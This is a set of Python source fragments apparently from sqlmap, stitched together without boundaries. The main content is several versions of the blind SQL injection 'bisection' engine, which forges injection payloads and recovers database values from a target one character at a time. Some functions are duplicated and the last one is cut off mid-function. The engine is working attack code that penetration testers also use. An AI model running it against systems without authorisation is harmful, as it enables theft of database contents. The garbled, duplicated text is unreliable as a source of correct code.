_http_client.BadStatusLine) as ex: self._tunnel_host = None logger.debug( "SSL connection error occurred for '%s' ('%s')" % (_lut[protocol], getSafeExString(ex))) if not success: errMsg = "can't establish SSL connection" # Reference: https://docs.python.org/2/library/ssl.html if distutils.version.LooseVersion( PYVERSION) < distutils.version.LooseVersion("2.7.9"): errMsg += " (please retry with Python >= 2.7.9)" raise SqlmapConnectionException(errMsg)
from readline import * import readline as _readline except ImportError: try: from pyreadline import * import pyreadline as _readline except ImportError: pass if IS_WIN and _readline: try: _outputfile = _readline.GetOutputFile() except AttributeError: debugMsg = "Failed GetOutputFile when using platform's " debugMsg += "readline library" logger.debug(debugMsg) _readline = None # Test to see if libedit is being used instead of GNU readline. # Thanks to Boyd Waters for this patch. uses_libedit = False if PLATFORM == 'mac' and _readline: import commands (status, result) = commands.getstatusoutput( "otool -L %s | grep libedit" % _readline.__file__ ) if status == 0 and len(result) > 0: # We are bound to libedit - new in Leopard _readline.parse_and_bind("bind ^I rl_complete")
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False): """ Bisection algorithm that can be used to perform blind SQL injection on an affected host """ abortedFlag = False showEta = False partialValue = u"" finalValue = None retrievedLength = 0 if payload is None: return 0, None if charsetType is None and conf.charset: asciiTbl = sorted(set(ord(_) for _ in conf.charset)) else: asciiTbl = getCharset(charsetType) threadData = getCurrentThreadData() timeBasedCompare = (getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) retVal = hashDBRetrieve(expression, checkConf=True) if retVal: if conf.repair and INFERENCE_UNKNOWN_CHAR in retVal: pass elif PARTIAL_HEX_VALUE_MARKER in retVal: retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, "") if retVal and conf.hexConvert: partialValue = retVal infoMsg = "resuming partial value: %s" % safecharencode( partialValue) logger.info(infoMsg) elif PARTIAL_VALUE_MARKER in retVal: retVal = retVal.replace(PARTIAL_VALUE_MARKER, "") if retVal and not conf.hexConvert: partialValue = retVal infoMsg = "resuming partial value: %s" % safecharencode( partialValue) logger.info(infoMsg) else: infoMsg = "resumed: %s" % safecharencode(retVal) logger.info(infoMsg) return 0, retVal if Backend.isDbms(DBMS.MCKOI): match = re.search(r"\ASELECT\b(.+)\bFROM\b(.+)\Z", expression, re.I) if match: original = queries[Backend.getIdentifiedDbms()].inference.query right = original.split('<')[1] payload = payload.replace( right, "(SELECT %s FROM %s)" % (right, match.group(2).strip())) expression = match.group(1).strip() elif Backend.isDbms(DBMS.FRONTBASE): match = re.search( r"\ASELECT\b(\s+TOP\s*\([^)]+\)\s+)?(.+)\bFROM\b(.+)\Z", expression, re.I) if match: payload = payload.replace( INFERENCE_GREATER_CHAR, " FROM %s)%s" % (match.group(3).strip(), INFERENCE_GREATER_CHAR)) payload = payload.replace( "SUBSTRING", "(SELECT%sSUBSTRING" % (match.group(1) if match.group(1) else " "), 1) expression = match.group(2).strip() try: # Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used or the engine is called from the API if conf.predictOutput: kb.partRun = getPartRun() elif conf.api: kb.partRun = getPartRun(alias=False) else: kb.partRun = None if partialValue: firstChar = len(partialValue) elif re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN|COUNT)\(", expression): firstChar = 0 elif conf.firstChar is not None and ( isinstance(conf.firstChar, int) or (hasattr(conf.firstChar, "isdigit") and conf.firstChar.isdigit())): firstChar = int(conf.firstChar) - 1 if kb.fileReadMode: firstChar <<= 1 elif hasattr(firstChar, "isdigit") and firstChar.isdigit() or isinstance( firstChar, int): firstChar = int(firstChar) - 1 else: firstChar = 0 if re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN|COUNT)\(", expression): lastChar = 0 elif conf.lastChar is not None and (isinstance(conf.lastChar, int) or (hasattr(conf.lastChar, "isdigit") and conf.lastChar.isdigit())): lastChar = int(conf.lastChar) elif hasattr(lastChar, "isdigit") and lastChar.isdigit() or isinstance( lastChar, int): lastChar = int(lastChar) else: lastChar = 0 if Backend.getDbms(): _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression) nulledCastedField = agent.nullAndCastField(fieldToCastStr) expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1) expressionUnescaped = unescaper.escape(expressionReplaced) else: expressionUnescaped = unescaper.escape(expression) if hasattr(length, "isdigit") and length.isdigit() or isinstance( length, int): length = int(length) else: length = None if length == 0: return 0, "" if length and (lastChar > 0 or firstChar > 0): length = min(length, lastChar or length) - firstChar if length and length > MAX_BISECTION_LENGTH: length = None showEta = conf.eta and isinstance(length, int) if kb.bruteMode: numThreads = 1 else: numThreads = min(conf.threads or 0, length or 0) or 1 if showEta: progress = ProgressBar(maxValue=length) if numThreads > 1: if not timeBasedCompare or kb.forceThreads: debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else "")) logger.debug(debugMsg) else: numThreads = 1 if conf.threads == 1 and not any( (timeBasedCompare, conf.predictOutput)): warnMsg = "running in a single-thread mode. Please consider " warnMsg += "usage of option '--threads' for faster data retrieval" singleTimeWarnMessage(warnMsg) if conf.verbose in (1, 2) and not any( (showEta, conf.api, kb.bruteMode)): if isinstance(length, int) and numThreads > 1: dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth))) dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) else: dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) def tryHint(idx): with kb.locks.hint: hintValue = kb.hintValue if payload is not None and len( hintValue or "") > 0 and len(hintValue) >= idx: if "'%s'" % CHAR_INFERENCE_MARK in payload: posValue = hintValue[idx - 1] else: posValue = ord(hintValue[idx - 1]) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape( "'%s'" % decodeIntToUnicode(posValue)) forgedPayload = agent.extractPayload(payload) forgedPayload = safeStringFormat( forgedPayload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue)).replace( markingValue, unescapedCharValue) result = Request.queryPage(agent.replacePayload( payload, forgedPayload), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) if result: return hintValue[idx - 1] with kb.locks.hint: kb.hintValue = "" return None def validateChar(idx, value): """ Used in inference - in time-based SQLi if original and retrieved value are not equal there will be a deliberate delay """ validationPayload = re.sub( r"(%s.*?)%s(.*?%s)" % (PAYLOAD_DELIMITER, INFERENCE_GREATER_CHAR, PAYLOAD_DELIMITER), r"\g<1>%s\g<2>" % INFERENCE_NOT_EQUALS_CHAR, payload) if "'%s'" % CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat( validationPayload, (expressionUnescaped, idx, value)) else: # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape( "'%s'" % decodeIntToUnicode(value)) forgedPayload = safeStringFormat( validationPayload, (expressionUnescaped, idx)).replace( markingValue, unescapedCharValue) result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) if result and timeBasedCompare and getTechniqueData().trueCode: result = threadData.lastCode == getTechniqueData().trueCode if not result: warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % ( threadData.lastCode, getTechniqueData().trueCode) singleTimeWarnMessage(warnMsg) incrementCounter(getTechnique()) return result def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None): """ continuousOrder means that distance between each two neighbour's numerical values is exactly 1 """ result = tryHint(idx) if result: return result if charTbl is None: charTbl = type(asciiTbl)(asciiTbl) originalTbl = type(charTbl)(charTbl) if continuousOrder and shiftTable is None: # Used for gradual expanding into unicode charspace shiftTable = [2, 2, 3, 3, 5, 4] if "'%s'" % CHAR_INFERENCE_MARK in payload: for char in ('\n', '\r'): if ord(char) in charTbl: charTbl.remove(ord(char)) if not charTbl: return None elif len(charTbl) == 1: forgedPayload = safeStringFormat( payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0])) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) if result: return decodeIntToUnicode(charTbl[0]) else: return None maxChar = maxValue = charTbl[-1] minValue = charTbl[0] firstCheck = False lastCheck = False unexpectedCode = False if continuousOrder: while len(charTbl) > 1: position = None if charsetType is None: if not firstCheck: try: try: lastChar = [ _ for _ in threadData.shared.value if _ is not None ][-1] except IndexError: lastChar = None else: if 'a' <= lastChar <= 'z': position = charTbl.index(ord('a') - 1) # 96 elif 'A' <= lastChar <= 'Z': position = charTbl.index(ord('A') - 1) # 64 elif '0' <= lastChar <= '9': position = charTbl.index(ord('0') - 1) # 47 except ValueError: pass finally: firstCheck = True elif not lastCheck and numThreads == 1: # not usable in multi-threading environment if charTbl[(len(charTbl) >> 1)] < ord(' '): try: # favorize last char check if current value inclines toward 0 position = charTbl.index(1) except ValueError: pass finally: lastCheck = True if position is None: position = (len(charTbl) >> 1) posValue = charTbl[position] falsePayload = None if "'%s'" % CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat( payload, (expressionUnescaped, idx, posValue)) falsePayload = safeStringFormat( payload, (expressionUnescaped, idx, RANDOM_INTEGER_MARKER)) else: # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape( "'%s'" % decodeIntToUnicode(posValue)) forgedPayload = safeStringFormat( payload, (expressionUnescaped, idx)).replace( markingValue, unescapedCharValue) falsePayload = safeStringFormat( payload, (expressionUnescaped, idx)).replace( markingValue, NULL) if timeBasedCompare: if kb.responseTimeMode: kb.responseTimePayload = falsePayload else: kb.responseTimePayload = None result = Request.queryPage( forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) if not timeBasedCompare and getTechniqueData() is not None: unexpectedCode |= threadData.lastCode not in ( getTechniqueData().falseCode, getTechniqueData().trueCode) if unexpectedCode: warnMsg = "unexpected HTTP code '%s' detected. Will use (extra) validation step in similar cases" % threadData.lastCode singleTimeWarnMessage(warnMsg) if result: minValue = posValue if not isinstance(charTbl, xrange): charTbl = charTbl[position:] else: # xrange() - extended virtual charset used for memory/space optimization charTbl = xrange(charTbl[position], charTbl[-1] + 1) else: maxValue = posValue if not isinstance(charTbl, xrange): charTbl = charTbl[:position] else: charTbl = xrange(charTbl[0], charTbl[position]) if len(charTbl) == 1: if maxValue == 1: return None # Going beyond the original charset elif minValue == maxChar: # If the original charTbl was [0,..,127] new one # will be [128,..,(128 << 4) - 1] or from 128 to 2047 # and instead of making a HUGE list with all the # elements we use a xrange, which is a virtual # list if expand and shiftTable: charTbl = xrange( maxChar + 1, (maxChar + 1) << shiftTable.pop()) originalTbl = xrange(charTbl) maxChar = maxValue = charTbl[-1] minValue = charTbl[0] else: return None else: retVal = minValue + 1 if retVal in originalTbl or ( retVal == ord('\n') and CHAR_INFERENCE_MARK in payload): if (timeBasedCompare or unexpectedCode ) and not validateChar(idx, retVal): if not kb.originalTimeDelay: kb.originalTimeDelay = conf.timeSec threadData.validationRun = 0 if (retried or 0) < MAX_REVALIDATION_STEPS: errMsg = "invalid character detected. retrying.." logger.error(errMsg) if timeBasedCompare: if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE: conf.timeSec += 1 warnMsg = "increasing time delay to %d second%s" % ( conf.timeSec, 's' if conf.timeSec > 1 else '') logger.warn(warnMsg) if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES: dbgMsg = "turning off time auto-adjustment mechanism" logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO return getChar(idx, originalTbl, continuousOrder, expand, shiftTable, (retried or 0) + 1) else: errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode( retVal) logger.error(errMsg) conf.timeSec = kb.originalTimeDelay return decodeIntToUnicode(retVal) else: if timeBasedCompare: threadData.validationRun += 1 if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and threadData.validationRun > VALID_TIME_CHARS_RUN_THRESHOLD: dbgMsg = "turning back on time auto-adjustment mechanism" logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES return decodeIntToUnicode(retVal) else: return None else: if "'%s'" % CHAR_INFERENCE_MARK in payload and conf.charset: errMsg = "option '--charset' is not supported on '%s'" % Backend.getIdentifiedDbms( ) raise SqlmapUnsupportedFeatureException(errMsg) candidates = list(originalTbl) bit = 0 while len(candidates) > 1: bits = {} for candidate in candidates: bit = 0 while candidate: bits.setdefault(bit, 0) bits[bit] += 1 if candidate & 1 else -1 candidate >>= 1 bit += 1 choice = sorted(bits.items(), key=lambda _: abs(_[1]))[0][0] mask = 1 << choice forgedPayload = safeStringFormat( payload.replace( INFERENCE_GREATER_CHAR, "&%d%s" % (mask, INFERENCE_GREATER_CHAR)), (expressionUnescaped, idx, 0)) result = Request.queryPage( forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) if result: candidates = [_ for _ in candidates if _ & mask > 0] else: candidates = [_ for _ in candidates if _ & mask == 0] bit += 1 if candidates: forgedPayload = safeStringFormat( payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, candidates[0])) result = Request.queryPage( forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) if result: return decodeIntToUnicode(candidates[0]) # Go multi-threading (--threads > 1) if numThreads > 1 and isinstance(length, int) and length > 1: threadData.shared.value = [None] * length threadData.shared.index = [ firstChar ] # As list for python nested function scoping threadData.shared.start = firstChar try: def blindThread(): threadData = getCurrentThreadData() while kb.threadContinue: with kb.locks.index: if threadData.shared.index[0] - firstChar >= length: return threadData.shared.index[0] += 1 currentCharIndex = threadData.shared.index[0] if kb.threadContinue: val = getChar( currentCharIndex, asciiTbl, not (charsetType is None and conf.charset)) if val is None: val = INFERENCE_UNKNOWN_CHAR else: break with kb.locks.value: threadData.shared.value[currentCharIndex - 1 - firstChar] = val currentValue = list(threadData.shared.value) if kb.threadContinue: if showEta: progress.progress(threadData.shared.index[0]) elif conf.verbose >= 1: startCharIndex = 0 endCharIndex = 0 for i in xrange(length): if currentValue[i] is not None: endCharIndex = max(endCharIndex, i) output = '' if endCharIndex > conf.progressWidth: startCharIndex = endCharIndex - conf.progressWidth count = threadData.shared.start for i in xrange(startCharIndex, endCharIndex + 1): output += '_' if currentValue[ i] is None else filterControlChars( currentValue[i] if len( currentValue[i]) == 1 else ' ', replacement=' ') for i in xrange(length): count += 1 if currentValue[ i] is not None else 0 if startCharIndex > 0: output = ".." + output[2:] if (endCharIndex - startCharIndex == conf.progressWidth) and ( endCharIndex < length - 1): output = output[:-2] + ".." if conf.verbose in (1, 2) and not any( (showEta, conf.api, kb.bruteMode)): _ = count - firstChar output += '_' * ( min(length, conf.progressWidth) - len(output)) status = ' %d/%d (%d%%)' % ( _, length, int(100.0 * _ / length)) output += status if _ != length else " " * len( status) dataToStdout( "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), output)) runThreads(numThreads, blindThread, startThreadMsg=False) except KeyboardInterrupt: abortedFlag = True finally: value = [_ for _ in partialValue] value.extend(_ for _ in threadData.shared.value) infoMsg = None # If we have got one single character not correctly fetched it # can mean that the connection to the target URL was lost if None in value: partialValue = "".join(value[:value.index(None)]) if partialValue: infoMsg = "\r[%s] [INFO] partially retrieved: %s" % ( time.strftime("%X"), filterControlChars(partialValue)) else: finalValue = "".join(value) infoMsg = "\r[%s] [INFO] retrieved: %s" % ( time.strftime("%X"), filterControlChars(finalValue)) if conf.verbose in (1, 2) and infoMsg and not any( (showEta, conf.api, kb.bruteMode)): dataToStdout(infoMsg) # No multi-threading (--threads = 1) else: index = firstChar threadData.shared.value = "" while True: index += 1 # Common prediction feature (a.k.a. "good samaritan") # NOTE: to be used only when multi-threading is not set for # the moment if conf.predictOutput and len( partialValue) > 0 and kb.partRun is not None: val = None commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan( partialValue, asciiTbl) # If there is one single output in common-outputs, check # it via equal against the query output if commonValue is not None: # One-shot query containing equals commonValue testValue = unescaper.escape( "'%s'" % commonValue ) if "'" not in commonValue else unescaper.escape( "%s" % commonValue, quote=False) query = getTechniqueData().vector query = agent.prefixQuery( query.replace( INFERENCE_MARKER, "(%s)%s%s" % (expressionUnescaped, INFERENCE_EQUALS_CHAR, testValue))) query = agent.suffixQuery(query) result = Request.queryPage( agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) # Did we have luck? if result: if showEta: progress.progress(len(commonValue)) elif conf.verbose in (1, 2) or conf.api: dataToStdout( filterControlChars(commonValue[index - 1:])) finalValue = commonValue break # If there is a common pattern starting with partialValue, # check it via equal against the substring-query output if commonPattern is not None: # Substring-query containing equals commonPattern subquery = queries[Backend.getIdentifiedDbms( )].substring.query % (expressionUnescaped, 1, len(commonPattern)) testValue = unescaper.escape( "'%s'" % commonPattern ) if "'" not in commonPattern else unescaper.escape( "%s" % commonPattern, quote=False) query = getTechniqueData().vector query = agent.prefixQuery( query.replace(INFERENCE_MARKER, "(%s)=%s" % (subquery, testValue))) query = agent.suffixQuery(query) result = Request.queryPage( agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) # Did we have luck? if result: val = commonPattern[index - 1:] index += len(val) - 1 # Otherwise if there is no commonValue (single match from # txt/common-outputs.txt) and no commonPattern # (common pattern) use the returned common charset only # to retrieve the query output if not val and commonCharset: val = getChar(index, commonCharset, False) # If we had no luck with commonValue and common charset, # use the returned other charset if not val: val = getChar(index, otherCharset, otherCharset == asciiTbl) else: val = getChar(index, asciiTbl, not (charsetType is None and conf.charset)) if val is None: finalValue = partialValue break if kb.data.processChar: val = kb.data.processChar(val) threadData.shared.value = partialValue = partialValue + val if showEta: progress.progress(index) elif (conf.verbose in (1, 2) and not kb.bruteMode) or conf.api: dataToStdout(filterControlChars(val)) # Note: some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces if Backend.getIdentifiedDbms() in ( DBMS.FIREBIRD, DBMS.DB2, DBMS.MAXDB, DBMS.DERBY, DBMS.FRONTBASE ) and len( partialValue) > INFERENCE_BLANK_BREAK and partialValue[ -INFERENCE_BLANK_BREAK:].isspace(): finalValue = partialValue[:-INFERENCE_BLANK_BREAK] break elif charsetType and partialValue[-1:].isspace(): finalValue = partialValue[:-1] break if (lastChar > 0 and index >= lastChar): finalValue = "" if length == 0 else partialValue finalValue = finalValue.rstrip( ) if len(finalValue) > 1 else finalValue partialValue = None break except KeyboardInterrupt: abortedFlag = True finally: kb.prependFlag = False retrievedLength = len(finalValue or "") if finalValue is not None: finalValue = decodeDbmsHexValue( finalValue) if conf.hexConvert else finalValue hashDBWrite(expression, finalValue) elif partialValue: hashDBWrite( expression, "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue)) if conf.hexConvert and not any((abortedFlag, conf.api, kb.bruteMode)): infoMsg = "\r[%s] [INFO] retrieved: %s %s\n" % (time.strftime( "%X"), filterControlChars(finalValue), " " * retrievedLength) dataToStdout(infoMsg) else: if conf.verbose in (1, 2) and not any( (showEta, conf.api, kb.bruteMode)): dataToStdout("\n") if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3: infoMsg = "retrieved: %s" % filterControlChars(finalValue) logger.info(infoMsg) if kb.threadException: raise SqlmapThreadException( "something unexpected happened inside the threads") if abortedFlag: raise KeyboardInterrupt _ = finalValue or partialValue return getCounter( getTechnique()), safecharencode(_) if kb.safeCharEncode else _
def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None): """ continuousOrder means that distance between each two neighbour's numerical values is exactly 1 """ result = tryHint(idx) if result: return result if charTbl is None: charTbl = type(asciiTbl)(asciiTbl) originalTbl = type(charTbl)(charTbl) if continuousOrder and shiftTable is None: # Used for gradual expanding into unicode charspace shiftTable = [2, 2, 3, 3, 5, 4] if "'%s'" % CHAR_INFERENCE_MARK in payload: for char in ('\n', '\r'): if ord(char) in charTbl: charTbl.remove(ord(char)) if not charTbl: return None elif len(charTbl) == 1: forgedPayload = safeStringFormat( payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0])) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) if result: return decodeIntToUnicode(charTbl[0]) else: return None maxChar = maxValue = charTbl[-1] minValue = charTbl[0] firstCheck = False lastCheck = False unexpectedCode = False if continuousOrder: while len(charTbl) > 1: position = None if charsetType is None: if not firstCheck: try: try: lastChar = [ _ for _ in threadData.shared.value if _ is not None ][-1] except IndexError: lastChar = None else: if 'a' <= lastChar <= 'z': position = charTbl.index(ord('a') - 1) # 96 elif 'A' <= lastChar <= 'Z': position = charTbl.index(ord('A') - 1) # 64 elif '0' <= lastChar <= '9': position = charTbl.index(ord('0') - 1) # 47 except ValueError: pass finally: firstCheck = True elif not lastCheck and numThreads == 1: # not usable in multi-threading environment if charTbl[(len(charTbl) >> 1)] < ord(' '): try: # favorize last char check if current value inclines toward 0 position = charTbl.index(1) except ValueError: pass finally: lastCheck = True if position is None: position = (len(charTbl) >> 1) posValue = charTbl[position] falsePayload = None if "'%s'" % CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat( payload, (expressionUnescaped, idx, posValue)) falsePayload = safeStringFormat( payload, (expressionUnescaped, idx, RANDOM_INTEGER_MARKER)) else: # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape( "'%s'" % decodeIntToUnicode(posValue)) forgedPayload = safeStringFormat( payload, (expressionUnescaped, idx)).replace( markingValue, unescapedCharValue) falsePayload = safeStringFormat( payload, (expressionUnescaped, idx)).replace( markingValue, NULL) if timeBasedCompare: if kb.responseTimeMode: kb.responseTimePayload = falsePayload else: kb.responseTimePayload = None result = Request.queryPage( forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) if not timeBasedCompare and getTechniqueData() is not None: unexpectedCode |= threadData.lastCode not in ( getTechniqueData().falseCode, getTechniqueData().trueCode) if unexpectedCode: warnMsg = "unexpected HTTP code '%s' detected. Will use (extra) validation step in similar cases" % threadData.lastCode singleTimeWarnMessage(warnMsg) if result: minValue = posValue if not isinstance(charTbl, xrange): charTbl = charTbl[position:] else: # xrange() - extended virtual charset used for memory/space optimization charTbl = xrange(charTbl[position], charTbl[-1] + 1) else: maxValue = posValue if not isinstance(charTbl, xrange): charTbl = charTbl[:position] else: charTbl = xrange(charTbl[0], charTbl[position]) if len(charTbl) == 1: if maxValue == 1: return None # Going beyond the original charset elif minValue == maxChar: # If the original charTbl was [0,..,127] new one # will be [128,..,(128 << 4) - 1] or from 128 to 2047 # and instead of making a HUGE list with all the # elements we use a xrange, which is a virtual # list if expand and shiftTable: charTbl = xrange( maxChar + 1, (maxChar + 1) << shiftTable.pop()) originalTbl = xrange(charTbl) maxChar = maxValue = charTbl[-1] minValue = charTbl[0] else: return None else: retVal = minValue + 1 if retVal in originalTbl or ( retVal == ord('\n') and CHAR_INFERENCE_MARK in payload): if (timeBasedCompare or unexpectedCode ) and not validateChar(idx, retVal): if not kb.originalTimeDelay: kb.originalTimeDelay = conf.timeSec threadData.validationRun = 0 if (retried or 0) < MAX_REVALIDATION_STEPS: errMsg = "invalid character detected. retrying.." logger.error(errMsg) if timeBasedCompare: if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE: conf.timeSec += 1 warnMsg = "increasing time delay to %d second%s" % ( conf.timeSec, 's' if conf.timeSec > 1 else '') logger.warn(warnMsg) if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES: dbgMsg = "turning off time auto-adjustment mechanism" logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO return getChar(idx, originalTbl, continuousOrder, expand, shiftTable, (retried or 0) + 1) else: errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode( retVal) logger.error(errMsg) conf.timeSec = kb.originalTimeDelay return decodeIntToUnicode(retVal) else: if timeBasedCompare: threadData.validationRun += 1 if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and threadData.validationRun > VALID_TIME_CHARS_RUN_THRESHOLD: dbgMsg = "turning back on time auto-adjustment mechanism" logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES return decodeIntToUnicode(retVal) else: return None else: if "'%s'" % CHAR_INFERENCE_MARK in payload and conf.charset: errMsg = "option '--charset' is not supported on '%s'" % Backend.getIdentifiedDbms( ) raise SqlmapUnsupportedFeatureException(errMsg) candidates = list(originalTbl) bit = 0 while len(candidates) > 1: bits = {} for candidate in candidates: bit = 0 while candidate: bits.setdefault(bit, 0) bits[bit] += 1 if candidate & 1 else -1 candidate >>= 1 bit += 1 choice = sorted(bits.items(), key=lambda _: abs(_[1]))[0][0] mask = 1 << choice forgedPayload = safeStringFormat( payload.replace( INFERENCE_GREATER_CHAR, "&%d%s" % (mask, INFERENCE_GREATER_CHAR)), (expressionUnescaped, idx, 0)) result = Request.queryPage( forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) if result: candidates = [_ for _ in candidates if _ & mask > 0] else: candidates = [_ for _ in candidates if _ & mask == 0] bit += 1 if candidates: forgedPayload = safeStringFormat( payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, candidates[0])) result = Request.queryPage( forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) if result: return decodeIntToUnicode(candidates[0])
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False): """ Bisection algorithm that can be used to perform blind SQL injection on an affected host """ abortedFlag = False partialValue = u"" finalValue = None retrievedLength = 0 asciiTbl = getCharset(charsetType) timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) retVal = hashDBRetrieve(expression, checkConf=True) if retVal: if PARTIAL_HEX_VALUE_MARKER in retVal: retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, "") if retVal and conf.hexConvert: partialValue = retVal infoMsg = "resuming partial value: %s" % safecharencode( partialValue) logger.info(infoMsg) elif PARTIAL_VALUE_MARKER in retVal: retVal = retVal.replace(PARTIAL_VALUE_MARKER, "") if retVal and not conf.hexConvert: partialValue = retVal infoMsg = "resuming partial value: %s" % safecharencode( partialValue) logger.info(infoMsg) else: infoMsg = "resumed: %s" % safecharencode(retVal) logger.info(infoMsg) return 0, retVal try: # Set kb.partRun in case "common prediction" feature (a.k.a. "good # samaritan") is used or the engine is called from the API if conf.predictOutput: kb.partRun = getPartRun() elif hasattr(conf, "api"): kb.partRun = getPartRun(alias=False) else: kb.partRun = None if partialValue: firstChar = len(partialValue) elif "LENGTH(" in expression.upper() or "LEN(" in expression.upper(): firstChar = 0 elif dump and conf.firstChar is not None and (isinstance( conf.firstChar, int) or (isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit())): firstChar = int(conf.firstChar) - 1 elif isinstance(firstChar, basestring) and firstChar.isdigit() or isinstance( firstChar, int): firstChar = int(firstChar) - 1 else: firstChar = 0 if "LENGTH(" in expression.upper() or "LEN(" in expression.upper(): lastChar = 0 elif dump and conf.lastChar is not None and (isinstance( conf.lastChar, int) or (isinstance(conf.lastChar, basestring) and conf.lastChar.isdigit())): lastChar = int(conf.lastChar) elif isinstance(lastChar, basestring) and lastChar.isdigit() or isinstance( lastChar, int): lastChar = int(lastChar) else: lastChar = 0 if Backend.getDbms(): _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression) nulledCastedField = agent.nullAndCastField(fieldToCastStr) expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1) expressionUnescaped = unescaper.escape(expressionReplaced) else: expressionUnescaped = unescaper.escape(expression) if isinstance(length, basestring) and length.isdigit() or isinstance( length, int): length = int(length) else: length = None if length == 0: return 0, "" if length and (lastChar > 0 or firstChar > 0): length = min(length, lastChar or length) - firstChar if length and length > MAX_BISECTION_LENGTH: length = None showEta = conf.eta and isinstance(length, int) numThreads = min(conf.threads, length) if showEta: progress = ProgressBar(maxValue=length) if timeBasedCompare and conf.threads > 1: warnMsg = "multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically" singleTimeWarnMessage(warnMsg) if numThreads > 1: if not timeBasedCompare: debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else "")) logger.debug(debugMsg) else: numThreads = 1 if conf.threads == 1 and not timeBasedCompare and not conf.predictOutput: warnMsg = "running in a single-thread mode. Please consider " warnMsg += "usage of option '--threads' for faster data retrieval" singleTimeWarnMessage(warnMsg) if conf.verbose in (1, 2) and not showEta and not hasattr(conf, "api"): if isinstance(length, int) and conf.threads > 1: dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth))) dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) else: dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) hintlock = threading.Lock() def tryHint(idx): with hintlock: hintValue = kb.hintValue if hintValue is not None and len(hintValue) >= idx: if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2): posValue = hintValue[idx - 1] 